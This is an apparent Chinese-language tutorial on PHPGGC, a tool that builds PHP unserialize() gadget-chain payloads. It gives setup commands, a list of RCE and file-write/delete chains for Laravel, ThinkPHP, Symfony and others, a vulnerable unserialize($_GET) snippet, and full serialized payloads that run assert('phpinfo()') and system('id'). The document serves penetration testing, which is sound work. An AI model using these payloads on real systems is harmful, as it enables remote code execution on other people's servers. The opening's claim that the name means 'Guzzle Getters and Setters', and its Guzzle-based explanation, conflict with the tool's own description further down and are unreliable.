概述
PHPGGC,全稱為「PHP Guzzle Getters and Setters」,是一個庫,包含了預構建的Guzzle HTTP客戶端請求物件,這些物件可以被用來利用PHP套用中的反射或魔術方法漏洞。它的核心價值在於簡化了對PHP應用程式潛在漏洞的探測過程,特別是對於那些可能存在的命令註入漏洞。
PHPGGC是一個
unserialize()
有效負載庫,沿著一個從命令列或編程方式生成它們的工具。當在您沒有程式碼的網站上遇到未序列化時,或者只是試圖構建漏洞時,此工具允許您生成有效負載,而無需透過尋找小工具並組合它們的繁瑣步驟。它可以被看作是frohoff的ysoserial的等價物,但用於PHP。
目前,該工具支持小工具鏈,如:CodeIgniter 4,Doctrine,Drupal 7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。
技術分析
該計畫基於PHP編寫,並且利用了Guzzle,這是一個流行的HTTP客戶端庫,能夠處理HTTP請求。PHPGGC透過建立特殊的GETters和SETters,它們在發送HTTP請求時可以被惡意構造,從而觸發不安全的程式碼執行。這種構造方式使得安全研究人員能夠在各種不同的場景中快速驗證是否存在程式碼註入風險,而無需手動編寫復雜的payload。
PHPGGC還支持命令列界面(CLI),允許使用者輕松地生成或搜尋所需的GGC有效載荷。此外,其程式碼結構清晰,易於擴充套件,意味著你可以根據需要添加新的GGC型別或者自訂功能。
套用場景
滲透測試 :在進行安全審計時,可以直接使用PHPGGC生成的payload嘗試觸發潛在的命令註入漏洞。
教育與學習 :理解如何構建這類攻擊載荷有助於提高開發者的安全意識。
自動化安全工具 :整合到自動化安全掃描工具中,可以大規模檢測目標系統的安全性。
命令列使用
執行PHPGGC需要
PHP >= 5.6
下載計畫
git clone https://github.com/ambionics/phpggc.git
cd phpggc/
執行
./phpggc -l
獲取
gadget
鏈列表
$ php ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE: Function Call __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE: Command __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE: Function Call __destruct
CodeIgniter4/FD1 <= 4.3.6 File delete __destruct
CodeIgniter4/FD2 <= 4.3.7 File delete __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE: Function Call __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE: Function Call __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE: Function Call __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE: Function Call __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE: Function Call __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE17 10.31.0 RCE: Function Call __destruct
Laravel/RCE18 10.31.0 RCE: PHP Code __destruct *
Laravel/RCE19 10.34 RCE: Command __destruct
Symfony/RCE14 1.2.0 <= 1.2.12 RCE: Function Call __wakeup *
Symfony/RCE15 1.0.0 <= 1.1.9 RCE: Function Call __wakeup *
Symfony/RCE16 1.1.0 <= 1.5.18 RCE: Function Call Serializable *
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
...
過濾器小工具鏈 `ThinkPHP
$ php ./phpggc -l ThinkPHP
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
每個小工具鏈都有
Name:框架/庫的名稱
Version:小工具所使用的框架/庫的版本
Type:利用型別:RCE,檔寫入,檔讀取,包含
Vector:反序列化後觸發鏈的向量(
__destruct()
,
__toString()
,
offsetGet()
,...)
Informations:關於鏈條的其他資訊
使用
-i
獲取有關鏈的詳細資訊
$ php ./phpggc -i ThinkPHP/RCE4
Name : ThinkPHP/RCE4
Version : -6.0.1+
Type : RCE: Function Call
Vector : __destruct
./phpggc ThinkPHP/RCE4 <function> <parameter>
執行
./phpggc <gadget-chain> [parameters]
以獲取有效負載。
$ php ./phpggc ThinkPHP/RCE4 assert 'phpinfo()'
O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";b:1;s:18:"think\Modelforce";b:1;s:21:"think\ModellazySave";b:1;s:9:"*suffix";O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";N;s:18:"think\Modelforce";N;s:21:"think\ModellazySave";N;s:9:"*suffix";N;s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";a:1:{s:3:"key";a:1:{s:3:"key";s:6:"assert";}}s:7:"*json";a:1:{i:0;s:3:"key";}s:12:"*jsonAssoc";b:1;s:12:"*withEvent";N;}s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";N;s:7:"*json";N;s:12:"*jsonAssoc";N;s:12:"*withEvent";b:0;}
Wrapper
例如,如果易受攻擊的程式碼看起來像這樣:
tinywan_wrapper.php
指令碼
<?php
$data = unserialize($_GET['data']);
print$data['message'];
執行結果
php ./phpggc -w ./my_wrapper.php slim/rce1 system id
PHP Notice: Undefined index: data in /home/www/build/phpggc/my_wrapper.php on line 2
PHP Notice: Trying to access array offset on value of type bool in /home/www/build/phpggc/tinywan_wrapper.php on line 3
ERROR: Wrapper file does not define process_parameters(), process_object() or process_serialized()
你可以使用
__toString()
鏈,像這樣包裝它:
tinywan_wrapper2.php
指令碼
php ./phpggc -w ./tinywan_wrapper2.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"all";a:2:{i:0;O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"has";s:6:"system";}s:24:"Pimple\Containervalues";a:1:{s:3:"has";s:6:"system";}s:22:"Pimple\Containerkeys";a:1:{s:3:"has";s:6:"system";}}}}i:1;s:2:"id";}}s:24:"Pimple\Containervalues";a:1:{s:3:"all";a:2:{i:0;r:7;i:1;s:2:"id";}}s:22:"Pimple\Containerkeys";a:1:{s:3:"all";a:2:{i:0;r:7;i:1;s:2:"id";}}}}s:7:"*body";s:0:"";}}